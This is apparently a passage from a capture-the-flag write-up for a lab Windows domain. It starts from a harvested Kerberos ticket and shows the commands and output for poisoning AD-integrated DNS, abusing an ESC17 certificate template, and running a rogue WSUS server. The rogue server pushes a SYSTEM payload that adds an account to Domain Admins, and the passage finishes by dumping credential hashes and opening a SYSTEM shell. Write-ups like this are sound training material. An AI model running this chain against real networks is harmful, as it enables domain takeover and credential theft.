FAqBoi3ugmW0apIiL32H7q1R9REVi0vkeNZvAndUvQq+vFNf6Fk3LE3MC7nBetRdIeznqpvA8ZN/0SBfz0cOZ3xa84kyhvuS4UkFEEOYTZnw9heavUeF/044slqgnEkYgcK753ijE3Zl/ydvbzZqIshmPxto2fSjOZHmvAIhWo15e/bKRAzli+uEC+Z8Sy6Voqr237OJAAb4zDc2jElEK1n5COF3EsmFKUB1dzqNcAywrVoFO2rFAh7Js7c5742fOrJwEK8TTtHZ4ZexlHlJw0z
RFc7B0IoDmFQTxoNcGNca/hUk7NLxUuToEEb/+c0UI7lKaduse20/uvUTouPRY+au1MkYf9WPtsUXN3K7uYICwyHAy0Zkn+Y56n9dAow5ACcsc8C91jwGoegGeYU3RqRnpJt20wjva4aYFQGgu4DLa7IsBv0BHCbKvVGOXITUsknKPKjkuvjmqCozzm2ZIAQZ7geaDAfVz+JEZ0klo/zf8CZfyWkTTwji2kzZqWzchm7h/HrKouXv5UWsdt8GYJJRV69d/LJk2MRJHuHEiWqg9E
yCDOIJ3rGBVLKYK1QkJ5joQbINPE0mu1hR832nfY3fvWQIWqTMJklBAj9uWjow62FJ7zTfWkzRv3puFpapur1tmwOfYUbxYl1czJglL6pQDdgs2DwU6qQWuHyqUHeyBJnI/mL2jXqeDkfld20tyrJ8gijXDJu24bVadogaQG/YpfNmJvZacZJ5+dBj0sI4kN07ATBGpRJkpAN4yiuu54yXwvyFDPX1nTYzVjhIL+0FKY/gQdRLSoznC7BZqYccl1NMVY2djMzIG6DrC4NcvDs43
TlmEUxbJOKVpqzZtr1fUA5Tcpnx2C9++jx1qQRYNsAZuqyvTTc6w3/xzCemZ88rfy2jRVscdpHUlozArOpRU0qELEGK+reTFFH8sQAyKQBqaLg/PEDwdce3YaHjinawFQ0M5J7owHk9hE8v7JX7EUTJMisBm/AFVRhgw76Zl1aTli0lxb3Q0jrTfUniPDu3SpveW6WmitwsRMU4PPvLnNNFG8zDcBH8Mg+TzXNJ6jWHbVU4qsFxQC5o6q+pR7ypOWJM+0NZtSrgHf4O9UCn/5vo
qDyC44kg3aug0U+FqSJQLp+MeltmkygJ7tEsbBBki4AhuPhsLpUdY/mmPolij9Px2mLfK9kBjTPIyl18SGT6M95e0ZrewqhDSeEvljy9ZO2Kar286sKArUSM/5UEoRWZWh+jtOjwN7ou/vtFqppnJOAi//rw/0nhgx168gqbSR2gUaZS4EXPo+zatvXA7CBQiMrqS1i7mPS05P5lFMgZXj3OHffUVN2HCjbL/ITedOQbIMcBL/Y8wtBGToM5jXqHRT1aPJqUnbV8bsZIgito4Hp
MIHmoAMCAQCigd4Egdt9gdgwgdWggdIwgc8wgcygKzApoAMCARKhIgQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAChDRsLTE9HR0lORy5IVEKiGzAZoAMCAQGhEjAQGw5qYXlsZWUuY2xpZnRvbqMHAwUAQOEAAKURGA8yMDI2MDQxOTE0MjMxNVqmERgPMjAyNjA0MjAwMDIzMTVapxEYDzIwMjYwNDI2MTQyMzE1WqgNGwtMT0dHSU5HLkhUQqkgMB6gAwIBAqE
XMBUbBmtyYnRndBsLTE9HR0lORy5IVEI=

Then convert the base64 decoded .kirbi to ccache on attacker box:

Bash
# Decode the harvested ticket
echo -n 'doIFyDCCBcSgAwIBBaEDAgEWooIEyjCCBMZ...' | base64 -d > jaylee.kirbi

# Convert the ccache for Linux
ticketConverter.py jaylee.kirbi jaylee.ccache

3.1.2 ADIDNS Poisoning Primitive

With the ticket we could look for writable objects:

Bash
export KRB5CCNAME=jaylee.ccache

ft logging.htb \
bloodyAD -H dc01.logging.htb -d logging.htb \
    -u 'jaylee.clifton' -k \
    get writable

It turned out we had WRITE on DomainDnsZones:

Plaintext
distinguishedName: DC=logging.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=logging,DC=htb
permission: CREATE_CHILD

That means jaylee.clifton can add DNS records in the AD-integrated zone. And with such primitive we can exploit various Window services which queries outbound URLs.

3.1.3 Server-Auth UpdateSrv Template

Since AD CS was identified as enabled during the WinPEAS enumeration, Certipy was then used to enumerate certificate templates:

Bash
ft logging.htb \
certipy find -debug \
    -u 'jaylee.clifton' -k \
    -target dc01.logging.htb -dc-host dc01.logging.htb -dc-ip "$targetIp" \
    -enabled

Interesting template UpdateSrv:

JSON
"Certificate Templates": {
    "0": {
      "Template Name": "UpdateSrv",
      "Display Name": "UpdateSrv",
      "Certificate Authorities": [
        "logging-DC01-CA"
      ],
      "Enabled": true,
      "Client Authentication": false,
      "Enrollment Agent": false,
      "Any Purpose": false,
      "Enrollee Supplies Subject": true,
      "Certificate Name Flag": [
        1
      ],
      "Extended Key Usage": [
        "Server Authentication"
      ],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "Authorized Signatures Required": 0,
      "Schema Version": 2,
      "Validity Period": "10 years",
      "Renewal Period": "6 weeks",
      "Minimum RSA Key Length": 2048,
      "Template Created": "2026-04-17 00:41:06+00:00",
      "Template Last Modified": "2026-04-17 00:41:07+00:00",
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "LOGGING.HTB\\IT",
            "LOGGING.HTB\\Domain Admins",
            "LOGGING.HTB\\Enterprise Admins"
          ]
        },
        "Object Control Permissions": {
          "Owner": "LOGGING.HTB\\Administrator",
          "Full Control Principals": [
            "LOGGING.HTB\\Domain Admins",
            "LOGGING.HTB\\Enterprise Admins"
          ],
          "Write Owner Principals": [
            "LOGGING.HTB\\Domain Admins",
            "LOGGING.HTB\\Enterprise Admins"
          ],
          "Write Dacl Principals": [
            "LOGGING.HTB\\Domain Admins",
            "LOGGING.HTB\\Enterprise Admins"
          ],
          "Write Property Enroll": [
            "LOGGING.HTB\\Domain Admins",
            "LOGGING.HTB\\Enterprise Admins"
          ]
        }
      },
      "[+] User Enrollable Principals": [
        "LOGGING.HTB\\IT"
      ]
    },
    ...
}

It was:

  • enabled
  • configured with Enrollee Supplies Subject
  • assigned the EKU Server Authentication
  • enrollable by LOGGING.HTB\IT

The compromised jaylee.clifton account was already a member of IT.

3.2 WSUS

An incident snapshot was found under Jaylee's Documentation path:

It already told us that the target fetches update via wsus.logging.htb, whose DNS was not yet setup , but scheduled via ForceSync each 2 minutes.

3.2.1 WSUS 101

WSUS is Microsoft's internal update server. Organizations use it to control which Windows updates are deployed across domain systems.

A client can be configured through Group Policy to trust a specific WSUS server for:

  • Update metadata
  • Patch downloads
  • Reporting status

That setting usually defines:

  • WUServer
  • WUStatusServer

Common endpoints:

  • https://wsus.domain.local:8531
  • http://wsus.domain.local:8530

Default ports:

  • 8530 = HTTP
  • 8531 = HTTPS

If a client trusts a WSUS endpoint, control of that trusted server, namely hijack DNS record, can become a path to privileged code execution.

3.2.2 ESC17

This path matches ESC17: a template where the enrollee supplies the subject and the issued certificate is valid for server authentication.

The UpdateSrv template revealed the required conditions:

JSON
{
  "Template Name": "UpdateSrv",
  "Enabled": true,
  "Enrollee Supplies Subject": true,
  "Extended Key Usage": [
    "Server Authentication"
  ],
  "Enrollment Rights": [
    "LOGGING.HTB\\IT",
    "LOGGING.HTB\\Domain Admins",
    "LOGGING.HTB\\Enterprise Admins"
  ]
}

The target already exposes WSUS on 8531, and a WSUS client expects a valid HTTPS server certificate for the configured WSUS hostname. And now we know:

  • jaylee.clifton can enroll UpdateSrv through IT
  • the template allows an arbitrary server name such as wsus.logging.htb
  • the issued certificate is valid for Server Authentication
  • jaylee.clifton also has DNS CREATE_CHILD, so we can create wsus.logging.htb and point it to our box

So the ESC17 abuse is to mint a certificate for the fake server identity wsus.logging.htb, publish the matching DNS record, and impersonate the trusted HTTPS WSUS endpoint.

Once that trust is in place, we can stand up a rogue WSUS service on 8531 and serve a Microsoft-signed binary to execute our command as SYSTEM.

The ESC17 chain can be illustrated as:

Concept
jaylee.clifton
    |
    |  member of IT
    v
UpdateSrv template
    |
    |  Enrollee Supplies Subject
    |  Server Authentication
    v
Certificate for wsus.logging.htb
    |
    |  jaylee also has DNS CREATE_CHILD
    v
DNS A record: wsus.logging.htb -> attacker IP
    |
    |  target trusts WSUS over HTTPS :8531
    v
Rogue WSUS server on attacker box
    |
    |  serve approved/signed payload
    v
Code execution on DC01 as SYSTEM

With proper automation tools we don't need to manually exploit step by step.

3.2.3 WSUS Impersonation

Reference: Using ADCS to Attack HTTPS-Enabled WSUS Clients · blog.digitrace.de

3.2.3.1 WSUS Discovery

We can use the tool SharpUSUS for discovery, referencing this post.

axura @ labyrinth :~
C:\Temp>.\SharpWSUS.exe locate

 ____  _                   __        ______  _   _ ____
/ ___|| |__   __ _ _ __ _ _\ \      / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
 ___) | | | | (_| | |  | |_) \ V  V /  ___) | |_| |___) |
|____/|_| |_|\__,_|_|  | .__/ \_/\_/  |____/ \___/|____/
                       |_|
           Phil Keeble @ Nettitude Red Team

[*] Action: Locate WSUS Server
WSUS Server: https://wsus.logging.htb:8531

[*] Locate complete

It proved the target is configured to use:

URL
https://wsus.logging.htb:8531

But Jaylee is not a WSUS admin, so direct WSUS administration is expectedly blocked:

axura @ labyrinth :~
C:\Temp>.\SharpWSUS.exe inspect

 ____  _                   __        ______  _   _ ____
/ ___|| |__   __ _ _ __ _ _\ \      / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
 ___) | | | | (_| | |  | |_) \ V  V /  ___) | |_| |___) |
|____/|_| |_|\__,_|_|  | .__/ \_/\_/  |____/ \___/|____/
                       |_|
           Phil Keeble @ Nettitude Red Team

[*] Action: Inspect WSUS Server

Function error - FsqlConnection.
Error Message: Login failed for user 'logging\jaylee.clifton'.

Function error - FbGetWSUSConfigSQL.
Error Message: ExecuteReader: Connection property has not been initialized.

####################### Computer Enumeration #######################
ComputerName, IPAddress, OSVersion, LastCheckInTime
---------------------------------------------------

Function error - FbEnumAllComputers.
Error Message: ExecuteReader: Connection property has not been initialized.

####################### Downstream Server Enumeration #######################
ComputerName, OSVersion, LastCheckInTime
---------------------------------------------------

Function error - FbEnumDownStream.
Error Message: ExecuteReader: Connection property has not been initialized.

####################### Group Enumeration #######################
GroupName
---------------------------------------------------

Function error - FbEnumGroups.
Error Message: ExecuteReader: Connection property has not been initialized.

[*] Inspect complete

The exploit path is WSUS impersonation, not native SharpWSUS admin abuse.

3.2.3.2 Request WSUS Certificate

So we switched to wsuks. It matches the attack surface better, but HTTPS WSUS means we first need a certificate for the trusted host wsus.logging.htb.

The UpdateSrv template is usable by our current context (IT group) and allows a server-auth certificate for the WSUS hostname:

Bash
ft logging.htb \
certipy req \
  -u '[email protected]' -k \
  -target dc01.logging.htb -dc-host dc01.logging.htb -dc-ip "$targetIp" \
  -ca 'logging-DC01-CA' -template 'UpdateSrv' \
  -dns 'wsus.logging.htb'

This gives us a certificate the clients can trust when they connect to https://wsus.logging.htb:8531:

axura @ labyrinth :~
$ ft logging.htb \
certipy req \
  -u '[email protected]' -k \
  -target dc01.logging.htb -dc-host dc01.logging.htb -dc-ip "$targetIp" \
  -ca 'logging-DC01-CA' -template 'UpdateSrv' \
  -dns 'wsus.logging.htb'
[*] Querying offset from: logging.htb
[*] faketime -f format: +25198.464213
25198.464213s
[*] Running: certipy req -u [email protected] -k -target dc01.logging.htb -dc-host dc01.logging.htb -dc-ip 10.129.78.103 -ca logging-DC01-CA -template UpdateSrv -dns wsus.logging.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 7
[*] Successfully requested certificate
[*] Got certificate with DNS Host Name 'wsus.logging.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'wsus.pfx'
[*] Wrote certificate and private key to 'wsus.pfx'

Then split the issued PFX into a PEM bundle for wsuks:

Bash
certipy cert -pfx wsus.pfx -nokey -out wsus.crt
certipy cert -pfx wsus.pfx -nocert -out wsus.key
cat wsus.crt wsus.key > wsus.pem

3.2.3.3 ADIDNS Poisoning

Earlier we confirmed CreateChild on the AD-integrated DNS zones, so we can publish our own wsus record and redirect clients to the attacker box with bloodyAD add dnsRecord:

Bash
ft logging.htb \
bloodyAD -H dc01.logging.htb -d logging.htb \
    -u 'jaylee.clifton' -k \
    add dnsRecord 'wsus' "$attackerIp"

That bridges the gap cleanly: the hostname from discovery now resolves to us, while the certificate still matches the same hostname:

axura @ labyrinth :~
$ ft logging.htb \
bloodyAD -H dc01.logging.htb -d logging.htb \
    -u 'jaylee.clifton' -k \
    add dnsRecord 'wsus' "$attackerIp"
[*] Querying offset from: logging.htb
[*] faketime -f format: +25199.517268
25199.517268s
[*] Running: bloodyAD -H dc01.logging.htb -d logging.htb -u jaylee.clifton -k add dnsRecord wsus 10.10.13.68
[+] wsus has been successfully added

Verify it on the victim side before serving the rogue endpoint:

axura @ labyrinth :~
C:\Temp>nslookup wsus.logging.htb
nslookup wsus.logging.htb
Server:  localhost
Address:  127.0.0.1

Name:    wsus.logging.htb
Address:  10.10.13.68

3.2.3.4 Start Rogue WSUS

With DNS and TLS aligned, we can bring up the rogue WSUS server using wsuks.

The tool wsuks needed the system nftables Python binding to run. In my Arch setup, I copied the system dependency into the using pyenv environment:

Bash
sudo pacman -S nftables

PYPATH="~/.pyenv/versions/3.13.5"
SYSPYPATH="/usr/lib/python3.14"

git clone https://github.com/NeffIsBack/wsuks.git
$PYPATH/bin/pip install ./wsuks

cp -r $SYSPYPATH/site-packages/nftables \
    $PYPATH/lib/python3.13/site-packages/

sudo ln -sf $PYPATH/bin/wsuks /usr/local/bin/wsuks
wsuks --version

To serve wsus.logging.htb as the rogue WSUS server, point it to our IP while using the DNS name for HTTPS:

Bash
echo "$attackerIp wsus.logging.htb" | sudo tee -a /etc/hosts

Then run in --serve-only mode, since DNS is already poisoned and traffic will arrive directly. The -c option is the argument string passed to PsExec64.exe:

Bash
sudo wsuks --serve-only \
    --WSUS-Server wsus.logging.htb \
    --tls-cert wsus.pem \
    -I tun0 \
    -c '/accepteula /s powershell.exe -ExecutionPolicy Bypass -Command "Add-ADGroupMember -Identity \"Domain Admins\" -Members \"MSA_HEALTH$\""'

For privesc we added the already-owned MSA_HEALTH$ machine account, which has the remote logon right, into Domain Admins:

axura @ labyrinth :~
$ sudo wsuks --serve-only \
    --WSUS-Server wsus.logging.htb \
    --tls-cert wsus.pem \
    -I tun0 \
    -c '/accepteula /s powershell.exe -ExecutionPolicy Bypass -Command "Add-ADGroupMember -Identity \"Domain Admins\" -Members \"MSA_HEALTH$\""'

    __          __ _____  _    _  _  __  _____
    \ \        / // ____|| |  | || |/ / / ____|
     \ \  /\  / /| (___  | |  | || ' / | (___
      \ \/  \/ /  \___ \ | |  | ||  <   \___ \
       \  /\  /   ____) || |__| || . \  ____) |
        \/  \/   |_____/  \____/ |_|\_\|_____/

     Pentesting Tool for the WSUS MITM Attack
               Made by NeffIsBack
                 version: 1.2.1

[+] Command to execute:
PsExec64.exe /accepteula /s powershell.exe -ExecutionPolicy Bypass -Command "Add-ADGroupMember -Identity \"Domain Admins\" -Members \"MSA_HEALTH$\""
[*] ===== Starting Web Server =====
[*] Using TLS certificate 'wsus.pem' for HTTPS WSUS Server
[*] Starting WSUS Server on 10.10.13.68:8531...
[*] Serving executable as KB: 5876493
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetConfig"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/SyncUpdates"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetExtendedUpdateInfo"
[+] Received GET request: /a5ace7c0-c255-4db3-891d-c57a6b8c323e/PsExec64.exe
[+] GET request for exe: /a5ace7c0-c255-4db3-891d-c57a6b8c323e/PsExec64.exe

The GetExtendedUpdateInfo and GET /PsExec64.exe requests show the Windows Update client accepted the rogue update and downloaded the signed binary.

After the payload runs, reuse the existing MSA_HEALTH$ hash over WinRM and confirm the elevated domain-admin token:

axura @ labyrinth :~
$ evil-winrm -i dc01.logging.htb -u 'msa_health$' -H 603fc24ee01a9409f83c9d1d701485c5
*Evil-WinRM* PS C:\Users\msa_health$\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
*Evil-WinRM* PS C:\Users\msa_health$\Documents> Get-ChildItem C:\Users\Administrator\Desktop -Force

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a-hs-        4/16/2026   8:24 AM            282 desktop.ini

Administrator privileges confirmed. But the root flag is not under usual path but inside the super admin toby.brynleigh home desktop:

axura @ labyrinth :~
*Evil-WinRM* PS C:\users> dir toby.brynleigh\desktop

    Directory: C:\users\toby.brynleigh\desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        4/19/2026   1:16 PM             34 root.txt

*Evil-WinRM* PS C:\users> whoami
logging\msa_health$
*Evil-WinRM* PS C:\users> type C:\users\toby.brynleigh\desktop\root.txt
a*****************************4

Rooted.

3.3 Hashdump

With the escalated admin token in place, dump ntd secrets:

axura @ labyrinth :~
# ft logging.htb \
secretsdump.py \
    -hashes :603fc24ee01a9409f83c9d1d701485c5 \
    'logging.htb/[email protected]'
[*] Querying offset from: logging.htb
[*] faketime -f format: +25205.852812
25205.852812s
[*] Running: secretsdump.py -hashes :603fc24ee01a9409f83c9d1d701485c5 logging.htb/[email protected]
/home/Axura/.pyenv/versions/3.13.5/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for rem
oval as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x36936928a3ec7aa076d5b89ac8d4a1c1
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a0c1d1bed9126632f5f1f2b3f790bdb5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
...

To obtain a real Administrator session:

Bash
ft logging.htb \
getTGT.py logging.htb/Administrator \
-hashes ':a0c1d1bed9126632f5f1f2b3f790bdb5'

export KRB5CCNAME=Administrator.ccache

ft logging.htb \
psexec.py -k -no-pass \
    'LOGGING.HTB/[email protected]'

That yielded a full SYSTEM shell:

axura @ labyrinth :~
# ft logging.htb \
psexec.py -k -no-pass \
    'LOGGING.HTB/[email protected]'
[*] Querying offset from: logging.htb
[*] faketime -f format: +25205.871961
25205.871961s
[*] Running: psexec.py -k -no-pass LOGGING.HTB/[email protected]
/home/Axura/.pyenv/versions/3.13.5/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.
html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on dc01.logging.htb.....
[*] Found writable share ADMIN$
[*] Uploading file BUwGuTPW.exe
[*] Opening SVCManager on dc01.logging.htb.....
[*] Creating service paOB on dc01.logging.htb.....
[*] Starting service paOB.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.8644]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system